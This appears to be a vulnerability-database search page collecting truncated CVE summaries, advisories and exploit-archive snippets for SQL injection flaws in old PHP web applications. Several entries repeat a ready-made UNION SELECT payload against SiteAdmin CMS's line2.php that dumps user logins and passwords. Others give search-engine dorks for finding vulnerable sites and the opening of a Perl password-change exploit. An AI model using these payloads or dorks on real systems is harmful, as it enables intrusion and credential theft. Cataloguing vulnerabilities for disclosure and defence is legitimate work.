Sql injection

SQL injection vulnerability in line2.php in SiteAdmin allows remote attackers to execute arbitrary SQL commands via the art parameter...

CVE-2008-3414

SQL injection vulnerability in line2.php in SiteAdmin allows remote attackers to execute arbitrary SQL commands via the art parameter...

CVE-2008-3414

CVE-2008-3414 describes an SQL injection in line2.php of SiteAdmin, exploitable via the art parameter to allow remote execution of arbitrary SQL commands. The vulnerability is classified with a NVD CVSSv2 base score of 7.5 (HIGH) and an attack vector of NETWORK with low complexity and no authenti...

CVE-2008-3414

SQL injection vulnerability in line2.php in SiteAdmin allows remote attackers to execute arbitrary SQL commands via the art parameter...

SiteAdmin CMS 'line2.php' SQL注入漏洞

BUGTRAQ ID: 30391 CNCAN ID：CNCAN-2008072902 SiteAdmin CMS是一款基于PHP的WEB应用程序。 SiteAdmin CMS不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息或操作数据库。 问题是'line2.php'脚本对用户提交的'art'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 SiteAdmin CMS 目前没有解决方案提供： http://www.as-admin.com/...

siteadmincms-sql.txt

SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel :...

SiteAdmin CMS (art) Remote SQL Injection Vulnerability

No description provided by source. SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel...

SiteAdmin CMS - art SQL Injection

SiteAdmin CMS - art SQL Injection SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel ...

SiteAdmin CMS (art) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ====================================================== SiteAdmin CMS art Remote SQL Injection Vulnerability ====================================================== SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com...

SiteAdmin CMS - 'art' SQL Injection

SiteAdmin CMS Remote Sql Injection Vuln. Download : http://www.as-admin.com Cr@zyKing / sqL Lov3r'Z Crew Co. http://localhost/line2.php?lng=ru&art=16+limit+0+union+select+1,2,concatws0x3a3a,userlogin,userpassw,4,5,6,7+from+authusers+limit+3,10/&cat=2 Admin Panel :...

Design/Logic Flaw

Prozilla Reviews 1.0 allows remote attackers to delete arbitrary users via a modified UserID parameter in a direct request to siteadmin/DeleteUser.php...

Gaming Directory 1.0 (cat_id) Remote SQL Injection Vulnerability

No description provided by source. --==+================================================================================+==-- --==+ Gaming Directory 1.0 SQL Injection Vulnerbilitys +==-- --==+================================================================================+==-- Discovered By:...

networkrecipe-sql.txt

network recipe.php SQL Injectionrecipeid AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAiL : [email protected] DORK 1 : allinurl: "recipe.php?recipeid" admin login=siteadmin EXPLOIT :...

CVE-2008-0543

CVE-2008-0543 describes multiple SQL injection vulnerabilities in Pre Dynamic Institution . Remote attackers can execute arbitrary SQL commands through the (1) sloginid and (2) spass parameters to login.asp and siteadmin/login.asp . The reports do not provide explicit root cause details or confir...

Sql injection

Multiple SQL injection vulnerabilities in PacerCMS 0.6 allow remote authenticated users to execute arbitrary SQL commands via the id parameter to 1 siteadmin/article-edit.php; and unspecified parameters to 2 submitted-edit.php, 3 page-edit.php, 4 section-edit.php, 5 staff-edit.php, and 6...

ClipShare 2.6 Remote User Password Change Exploit

No description provided by source. !/usr/bin/perl -w priv8 Pr0metheuS Exploit Name: Clipshare Remote User Password Change Exploit Version Script: Clipshare 2.6 Dork: "Powered by Clipshare" EnjoY print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"; print "\nClipshare 2.6 Remote User Passord...

Sql injection

Multiple SQL injection vulnerabilities in MeGaCheatZ 1.1 allow remote attackers to execute arbitrary SQL commands via the ItemID parameter to 1 comments.php, 2 view.php, 3 siteadmin/ViewItem.php, and unspecified other vectors...

Wallpaper Site 1.0.09 (category.php) Remote SQL Injection Vulnerability

No description provided by source. . . NN NNNN JNNN NNNN. NNN NNNNNNNNNNN NN NN NNN.NNNF .NNNNN NN """4NNN""" NN NN NNNNNN NNNNN NNN NNN NN NN 4NNNN NNNNNN.NNF NNN NN NN JNNNNL NN NNNNNN NNN NN NN JNNNNNN JNN NNNNN JNNF NN &nbs...

Wallpaper Site 1.0.09 - 'category.php' SQL Injection

. . NN NNNN JNNN NNNN. NNN NNNNNNNNNNN NN NN NNN.NNNF .NNNNN NN """4NNN""" NN NN NNNNNN NNNNN NNN NNN NN NN 4NNNN NNNNNN.NNF NNN NN NN JNNNNL NN NNNNNN NNN NN NN JNNNNNN JNN NNNNN JNNF NN NN .NNNF NNN. NNN 4NNN NNN NN NN JNNN NNNN NN NNN NNN NN NN NN . http://xaker.name . script name : Wallpaper...

Wallpaper Site 1.0.09 - category.php SQL Injection

Wallpaper Site 1.0.09 - category.php SQL Injection . . NN NNNN JNNN NNNN. NNN NNNNNNNNNNN NN NN NNN.NNNF .NNNNN NN """4NNN""" NN NN NNNNNN NNNNN NNN NNN NN NN 4NNNN NNNNNN.NNF NNN NN NN JNNNNL NN NNNNNN NNN NN NN JNNNNNN JNN NNNNN JNNF NN NN .NNNF NNN. NNN 4NNN NNN NN NN JNNN NNNN NN NNN NNN NN N...